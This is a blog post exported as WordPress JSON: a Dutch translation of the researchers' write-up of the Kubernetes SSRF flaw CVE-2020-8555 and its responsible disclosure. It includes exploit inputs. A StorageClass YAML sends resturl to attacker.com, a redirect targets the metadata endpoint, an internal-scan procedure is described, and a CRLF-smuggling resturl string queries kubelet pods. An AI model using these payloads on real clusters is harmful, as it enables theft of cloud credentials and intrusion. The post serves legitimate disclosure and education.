{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Opmerking vertaler.<\/b>: de auteurs van dit artikel vertellen in detail hoe ze de kwetsbaarheid hebben ontdekt <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> in Kubernetes. Hoewel het aanvankelijk niet erg gevaarlijk leek, bleek de ernst ervan onder bepaalde cloudproviders maximaal te zijn, vooral in combinatie met andere factoren. Voor hun werk werden de specialisten genereus beloond door meerdere organisaties.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Wie zijn wij?<\/h2>\n<p>\nWij zijn twee Franse beveiligingsonderzoekers die samen een kwetsbaarheid in Kubernetes hebben ontdekt. We heten Brice Augras en Christophe Hauquiert, maar op veel Bug Bounty-platforms zijn we bekend als Reeverzax en Hach, respectievelijk:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architect van Kubernetes bij Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Wat is er gebeurd?<\/h2>\n<p>\nDit artikel is onze manier om te vertellen hoe een alledaags onderzoeksproject onverwachts veranderde in het meest spannende avontuur van onze bug bounty-jagers (tot nu toe).<\/p>\n<p>Zoals je misschien weet, hebben bug bounty-jagers een paar opmerkelijke kenmerken:<\/p>\n<ul>\n<li> ze leven op pizza en bier;<\/li>\n<li> ze werken wanneer anderen slapen.<\/li>\n<\/ul>\n<p>\nWij zijn geen uitzondering op deze regels: we komen meestal in het weekend bijeen en houden slapeloze hacker nachten. Maar een van zulke nachten eindigde op een zeer ongebruikelijke manier.<\/p>\n<p>Aanvankelijk waren we van plan om elkaar te ontmoeten om onze deelname aan de <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> de volgende dag te bespreken. Tijdens ons gesprek over de beveiliging van Kubernetes in een beheerde serviceomgeving herinnerden we ons een oud idee van SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) en besloten we het als aanvalsscenario te gebruiken.<\/p>\n<p>Om 11 uur 's avonds begonnen we met ons onderzoek en gingen we vroeg in de ochtend slapen, zeer tevreden over de resultaten. Dankzij dit onderzoek kwamen we terecht bij het MSRC Bug Bounty-programma en bedachten we een exploit voor privilege-escalatie.<\/p>\n<p>Enkele weken\/maanden later leidde ons onverwachte resultaat tot een van de hoogste beloningen in de geschiedenis van Azure Cloud Bug Bounty \u2014 naast diegene die we van Kubernetes ontvingen!<\/p>\n<p>In aanvulling op ons onderzoeksproject heeft de Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>published<\/p>\n<p>We willen nu graag zoveel mogelijk informatie over de ontdekte kwetsbaarheid verspreiden. We hopen dat jullie onze ontdekking waarderen en de technische details delen met andere leden van de infosec-gemeenschap!<\/p>\n<h2>Context<\/h2>\n<p>\nOm de betekenis van wat er is gebeurd zo volledig mogelijk over te brengen, laten we eerst bekijken hoe Kubernetes functioneert in een cloudbeheerde omgeving.<\/p>\n<p>Wanneer je een instance van een Kubernetes-cluster in een dergelijke omgeving aanmaakt, is de cloudprovider meestal verantwoordelijk voor de werking van de behe laag:<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>De behe laag bevindt zich aan de rand van de cloudprovider, terwijl de Kubernetes-knooppunten zich aan de rand van de klant bevinden.<\/i><\/p>\n<p>Voor dynamische volume-toewijzing wordt een mechanisme gebruikt voor het dynamisch aanbieden vanuit een externe opslag-backend en de mapping naar PVC (persistent volume claim).<\/p>\n<p>Dus, nadat PVC is aangemaakt en is gekoppeld aan een StorageClass in de K8s-cluster, wordt het verdere proces van het aanbieden van de volume overgenomen door de kube\/cloud controller manager (de exacte naam hangt af van de release). <i>(<b>Opmerking vertaler.<\/b>: Meer over CCM aan de hand van een implementatie bij een van de cloudproviders hebben we al geschreven. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">hier<\/a><\/noindex>.)<\/i><\/p>\n<p>Er zijn verschillende soorten provisioners die door Kubernetes worden ondersteund: de meeste zijn opgenomen in <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">de kern van de orchestrator,<\/a><\/noindex>, terwijl andere worden beheerd door aanvullende provisioners die in pods in de cluster worden geplaatst.<\/p>\n<p>In ons onderzoek hebben we ons geconcentreerd op het interne mechanisme voor volume-toewijzing, zoals hieronder ge\u00efllustreerd:<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamisch aanbieden van volumes met behulp van de ingebouwde provisioner van Kubernetes<\/i><\/p>\n<p>In het kort, wanneer Kubernetes wordt uitgerold in een beheerde omgeving, is de provider van clouddiensten verantwoordelijk voor het functioneren van de controller manager, maar het verzoek om een volume aan te maken (nummer 3 in het bovenstaande diagram) verlaat de interne netwerkgrenzen van de cloudprovider. En hier wordt het echt interessant!<\/p>\n<h2>Inbreekschema.<\/h2>\n<p>\nIn dit hoofdstuk bespreken we hoe we gebruik hebben gemaakt van de eerder genoemde workflow en toegang hebben verkregen tot de interne bronnen van de cloudprovider. We zullen ook tonen hoe bepaalde acties kunnen worden uitgevoerd, zoals het verkrijgen van interne inloggegevens of het escaleren van privileges.<\/p>\n<p>E\u00e9n eenvoudige manipulatie (in dit geval Service Side Request Forgery) hielp ons om de klantomgeving in de clusters van verschillende aanbieders van beheerde K8s te passeren.<\/p>\n<p>In ons onderzoek hebben we ons gericht op de GlusterFS provisioner. Ondanks dat de verdere volgorde van handelingen in deze context wordt beschreven, zijn dezelfde kwetsbaarheden ook van toepassing op Quobyte, StorageOS en ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Misbruik van de dynamische volumeverleningsmechanisme<\/i><\/p>\n<p>Tijdens de analyse van de opslagklassen <b>GlusterFS<\/b> in de cli\u00ebntbronnen geschreven in Golang hebben we <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">merkten op<\/a><\/noindex>, dat bij de eerste HTTP-aanroep (3), verzonden tijdens het cre\u00ebren van een volume, aan het einde van de gebruikers-URL in de parameter <code>resturl<\/code> toegevoegd <code>\/volumes<\/code>.<\/p>\n<p>Om deze extra pad te verwijderen, hebben we besloten deze toe te voegen <code>#<\/code> aan de parameter <code>resturl<\/code>. Dit is de eerste YAML-configuratie die we gebruikten om te testen op een \"semi-blind\" SSRF-kwetsbaarheid <i>(meer over semi-blind of half-blind SSRF kan bijvoorbeeld worden gelezen, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">hier<\/a><\/noindex> \u2013 opmerking vert.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nVervolgens hebben we gebruikgemaakt van de binaire versie voor het op afstand beheren van de Kubernetes-cluster <b>kubectl<\/b>. Gewoonlijk bieden cloudproviders (Azure, Google, AWS, enz.) de mogelijkheid om inloggegevens te verkrijgen voor gebruik in deze tool.<\/p>\n<p>Hierdoor konden we ons \"speciale\" bestand toepassen. Kube-controller-manager voerde de resulterende HTTP-aanroep uit:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Antwoord vanuit het perspectief van de aanvaller<\/i><\/p>\n<p>Kort daarna konden we ook een HTTP-respons van de doelserver ontvangen \u2014 via de opdrachten <code>describe pvc<\/code> of <code>get events<\/code> in kubectl. En inderdaad: deze Kubernetes-driver is standaard te spraakzaam in zijn waarschuwingen\/foutmeldingen\u2026<\/p>\n<p>Hier is een voorbeeld met een link naar <code>https:\/\/www.google.fr<\/code>, ingesteld als parameter <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# of u kunt ook kubectl get events gebruiken<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nBinnen deze aanpak waren we beperkt tot verzoektypes <b>HTTP POST<\/b> en konden we de inhoud van het antwoord niet krijgen als de teruggegeven statuscode was <b>201<\/b>. Daarom besloten we verdere onderzoeken uit te voeren en breidden we dit hackscenario uit met nieuwe benaderingen.<\/p>\n<h2>De evolutie van onze onderzoeken<\/h2>\n<p><\/p>\n<ul>\n<li> Geavanceerd scenario #1: het gebruik van een 302-redirect van een externe server om de HTTP-methode te wijzigen, zodat een flexibeler middel voor het verzamelen van interne gegevens ontstaat.<\/li>\n<li> Geavanceerd scenario #2: automatisering van LAN-scanning en detectie van interne middelen.<\/li>\n<li> Geavanceerd scenario nr. 3: gebruik van HTTP CRLF + smuggling (\u2018contrabande\u2019 van verzoeken) om aangepaste HTTP-verzoeken te maken en gegevens uit de logs van kube-controller te halen.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Technische specificaties<\/h3>\n<p><\/p>\n<ul>\n<li> In de studies werd Azure Kubernetes Service (AKS) gebruikt met Kubernetes versie 1.12 in de regio Noord-Europa.<\/li>\n<li> De bovengenoemde scenario's werden uitgevoerd op de laatste releases van Kubernetes, met uitzondering van het derde scenario, aangezien daarvoor een Kubernetes-assemblage met Golang versie \u2264 1.12 nodig was.<\/li>\n<li> Externe server van de aanvaller \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Geavanceerd scenario nr. 1: omleiden van een HTTP POST-verzoek naar een GET en het verkrijgen van vertrouwelijke gegevens<\/h3>\n<p>\nDe oorspronkelijke methode werd verbeterd door de configuratie van de aanvallersserver om terug te geven <b>302 HTTP Retcode<\/b>, om het POST-verzoek om te zetten in een GET-verzoek (stap 4 in het schema):<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nHet eerste verzoek (3), afkomstig van de client <b>GlusterFS<\/b> (Controller Manager), heeft het type POST. Door de volgende stappen uit te voeren, konden we het omzetten naar GET:<\/p>\n<ul>\n<li> Als parameter <code>resturl<\/code> wordt in StorageClass aangegeven <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Eindpunt <code>https:\/\/attacker.com\/redirect.php<\/code> beantwoordt met HTTP-statuscode 302 en de volgende Location Header: <code>http:\/\/169.254.169.254<\/code>. Dit kan elke andere interne bron zijn \u2014 in dit geval wordt de redirect-link enkel als voorbeeld gebruikt.<\/li>\n<li> Standaard <b>bibliotheek net\/http<\/b> Golang redirect de aanvraag en converteert POST naar GET met een statuscode van 302, waardoor er een HTTP GET-aanroep naar de doellocatie gaat.<\/li>\n<\/ul>\n<p>\nOm de body van het HTTP-antwoord te lezen, moet je <code>beschrijven<\/code> object PVC:<\/p>\n<pre><code class=\"bash\">kubectl beschrijf pvc xxx<\/code><\/pre>\n<p>\nHier is een voorbeeld van een HTTP-antwoord in JSON-indeling dat we konden verkrijgen:<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDe mogelijkheden van de gevonden kwetsbaarheid waren op dat moment beperkt vanwege de volgende punten:<\/p>\n<ul>\n<li> Onvermogen om HTTP-headers in het uitgaande verzoek in te voeren.<\/li>\n<li> Onvermogen om een POST-verzoek met parameters in de body uit te voeren (gemakkelijk om de waarde van de sleutel op te vragen bij een etcd-exemplaar dat werkt op <b>2379<\/b> de poort als er onversleuteld HTTP wordt gebruikt).<\/li>\n<li> Onvermogen om de inhoud van de body van het antwoord te krijgen wanneer de statuscode gelijk was aan 200 en het antwoord geen JSON Content-Type had.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Geavanceerd scenario nr. 2: scannen van het lokale netwerk<\/h3>\n<p>\nDeze half-blind SSRF-methode werd vervolgens gebruikt om het interne netwerk van de cloudprovider te scannen en verschillende luisterdiensten (Metadata-exemplaar, Kubelet, etcd, enz.) te polsen op basis van de antwoorden <b>kube-controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEerst werden de standaard luisterpoorten van Kubernetes-componenten (8443, 10250, 10251, enz.) bepaald, waarna het scannen moest worden geautomatiseerd.<\/p>\n<p>Gezien het feit dat deze manier van het scannen van middelen zeer specifiek is en niet compatibel is met klassieke scanners en SSRF-tools, hebben we besloten om onze eigen workers in een bash-script te cre\u00ebren die het hele proces automatiseren.<\/p>\n<p>Bijvoorbeeld, om sneller het bereik 172.16.0.0\/12 van het interne netwerk te scannen, werden er gelijktijdig 15 workers gestart. Het hierboven genoemde IP-bereik werd uitsluitend als voorbeeld gekozen en kan worden gewijzigd naar het IP-bereik van een specifieke provider.<\/p>\n<p>Om \u00e9\u00e9n IP-adres en \u00e9\u00e9n poort te scannen, moet het volgende worden gedaan:<\/p>\n<ul>\n<li> verwijder de eerder gecontroleerde StorageClass;<\/li>\n<li> verwijder de eerder gecontroleerde Persistent Volume Claim;<\/li>\n<li> wijzig de waarden van IP en Port in <code>sc.yaml<\/code>;<\/li>\n<li> maak een StorageClass aan met het nieuwe IP en poort;<\/li>\n<li> maak een nieuwe PVC aan;<\/li>\n<li> de scanningresultaten extraheren met behulp van describe voor PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Geavanceerd scenario \u21163: CRLF-injectie + HTTP-smuggling in 'oudere' versies van de Kubernetes-cluster<\/h3>\n<p>\nAls de provider de klanten bovendien oudere versies van de K8s-cluster aanbood, <b>en<\/b> en hen toegang tot de logs van de kube-controller-manager verleende, werd het effect aanzienlijk groter.<\/p>\n<p>Het was voor de aanvaller veel handiger om HTTP-verzoeken naar eigen inzicht te wijzigen, die bedoeld waren om het volledige HTTP-antwoord te verkrijgen.<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nVoor het uitvoeren van het laatste scenario moesten de volgende voorwaarden worden vervuld:<\/p>\n<ul>\n<li> De gebruiker moest toegang hebben tot de logs van de kube-controller-manager (zoals bijvoorbeeld in Azure LogInsights).<\/li>\n<li> De Kubernetes-cluster moest een Golang-versie lager dan 1.12 gebruiken.<\/li>\n<\/ul>\n<p>\nWe hebben een lokale omgeving opgezet die de gegevensuitwisseling tussen de Go-client GlusterFS en een valse doelsserver simuleert (we onthouden ons voorlopig van het publiceren van een PoC).<\/p>\n<p>Er werd een ontdekt <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">kwetsbaarheid<\/a><\/noindex>, die versies van Golang onder 1.12 raakte en het hackers mogelijk maakte om HTTP-smuggling\/CRLF-aanvallen uit te voeren.<\/p>\n<p>Door de eerder beschreven half-blinde SSRF <b>samen<\/b> met deze, konden we verzoeken naar eigen inzicht verzenden, inclusief het wijzigen van headers, HTTP-methoden, parameters en gegevens die vervolgens door de kube-controller-manager werden verwerkt.<\/p>\n<p>Hier is een voorbeeld van een werkende 'lus' in de parameter <code>resturl<\/code> StorageClass die een dergelijk aanvalsscenario implementeert:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nHet resultaat is een fout <b>onverwachte reactie<\/b>, het bericht wordt in de logger van de controller opgeslagen. Dankzij de standaard ingeschakelde 'verbosity' wordt ook de inhoud van het antwoord-HHTP-bericht daar opgeslagen.<\/p>\n<p><img decoding=\"async\" alt=\"Wanneer het niet alleen gaat om de kwetsbaarheid in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDit was onze meest succesvolle 'vangst' binnen het proof of concept.<\/p>\n<p>Door deze aanpak konden we enkele van de volgende aanvallen uitvoeren in clusters van verschillende aanbieders van managed k8s: privilege-escalatie met toegang tot de inloggegevens op metadata-instanties, DoS van de master via (ongeschakelde) HTTP-verzoeken op master-instanties van etcd, enzovoort.<\/p>\n<h2>Gevolgen<\/h2>\n<p>\nIn de offici\u00eble verklaring van Kubernetes over de door ons ontdekte SSRF-kwetsbaarheid kreeg deze een classificatie <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Als we alleen kijken naar de kwetsbaarheid in verband met de perimeter van Kubernetes, wordt de integriteitsvector <i>(integriteitsvector)<\/i> gekwalificeerd als <b>None<\/b>.<\/p>\n<p>Echter, de beoordeling van mogelijke gevolgen in de context van een beheerde service-omgeving (en dit was het meest interessante gedeelte van ons onderzoek!) heeft ons ertoe gebracht de kwetsbaarheid opnieuw te classificeren met een beoordeling <b>Kritiek CVSS10\/10<\/b> voor veel distributeurs.<\/p>\n<p>Hieronder vindt u aanvullende informatie die helpt te begrijpen wat onze overwegingen waren bij het beoordelen van mogelijke gevolgen in cloudomgevingen:<\/p>\n<h3>Integriteit<\/h3>\n<p><\/p>\n<ul>\n<li> Op afstand commando's uitvoeren met behulp van verkregen interne inloggegevens.<\/li>\n<li> Het reproduceren van het bovenstaande scenario met de IDOR-methode (Insecure Direct Object Reference, dat wil zeggen, onveilige directe links naar objecten) met andere bronnen die in het lokale netwerk zijn ontdekt.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Privacy<\/h3>\n<p><\/p>\n<ul>\n<li> Aanvalstype <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Laterale Beweging<\/a><\/noindex> door het stelen van cloudinloggegevens (bijvoorbeeld metadata API).<\/li>\n<li> Informatie verzamelen door lokale netwerken te scannen (bepalen van SSH-versie, HTTP-server versie, ...).<\/li>\n<li> Informatie verzamelen over instanties en infrastructuur door interne API's te ondervragen, zoals metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Klantgegevens stelen met behulp van cloudinloggegevens.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Beschikbaarheid<\/h3>\n<p>\nAlle scenario's waarin exploits worden toegepast die verband houden met aanvalsvectoren op <b>integriteit (integriteit)<\/b>, kunnen worden gebruikt voor destructieve handelingen en leiden tot de onbeschikbaarheid van master-instanties vanuit de klantperimeter (of een andere).<\/p>\n<p>Aangezien we ons in een beheerde K8s-omgeving bevonden en de impact op de integriteit evalueerden, kunnen we ons verschillende scenario's voorstellen die de beschikbaarheid kunnen be\u00efnvloeden. Ter illustratie, denk aan schade aan de etcd-database of het uitvoeren van een kritieke API-aanroep naar Kubernetes.<\/p>\n<h2>Chronologie<\/h2>\n<p><\/p>\n<ul>\n<li> 6 december 2019: melding van een ontdekte kwetsbaarheid bij MSRC Bug Bounty.<\/li>\n<li> 3 januari 2020: een derde partij informeerden de Kubernetes-ontwikkelaars dat we aan een veiligheidsprobleem werkten. En vroegen hen om SSRF als een interne (in-core) kwetsbaarheid te beschouwen. Daarna dienden we een algemeen rapport in met technische details over de bron van het probleem.<\/li>\n<li> 15 januari 2020: we hebben de Kubernetes-ontwikkelaars technische en algemene rapporten verstrekt op hun verzoek (via het HackerOne-platform).<\/li>\n<li> 15 januari 2020: de Kubernetes-ontwikkelaars informeerden ons dat half-blind SSRF + CRLF-injectie voor eerdere releases werd beschouwd als een in-core kwetsbaarheid. We stopten onmiddellijk met het analyseren van de perimeters van andere serviceproviders: het K8s-team droeg nu de verantwoordelijkheid voor de oorzaak.<\/li>\n<li> 15 januari 2020: beloning ontvangen van MSRC via HackerOne.<\/li>\n<li> 16 januari 2020: Kubernetes PSC (Product Security Committee) erkende de kwetsbaarheid en vroeg om deze geheim te houden tot half maart vanwege het grote aantal potenti\u00eble slachtoffers.<\/li>\n<li> 11 februari 2020: beloning ontvangen van Google VRP.<\/li>\n<li> 4 maart 2020: beloning ontvangen van Kubernetes via HackerOne.<\/li>\n<li> 15 maart 2020: de aanvankelijk geplande openbare onthulling is vertraagd vanwege de COVID-19-situatie.<\/li>\n<li> 1 juni 2020: gezamenlijke verklaring van Kubernetes + Microsoft over de kwetsbaarheid.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> We drinken bier en eten pizza \ud83d\ude42<\/li>\n<li> We hebben een in-core-kwetsbaarheid in Kubernetes ontdekt, hoewel we dat helemaal niet van plan waren.<\/li>\n<li> We hebben een aanvullende analyse uitgevoerd in clusters van verschillende cloudproviders en konden de schade veroorzaakt door de kwetsbaarheid vergroten om extra geweldige bonussen te ontvangen.<\/li>\n<li> In dit artikel vindt u veel technische details. We bespreken deze graag met u (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Het bleek dat allerlei formaliteiten en het opstellen van rapporten veel meer tijd in beslag nemen dan verwacht.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Links<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google-groep kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang-issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. van de vertaler<\/h2>\n<p>\nLees ook op onze blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">De jacht op fouten in Kubernetes is officieel geopend<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Uitgaande van de pod in Kubernetes via het monteren van logs.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ tools voor Kubernetes-beveiliging<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Bron: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 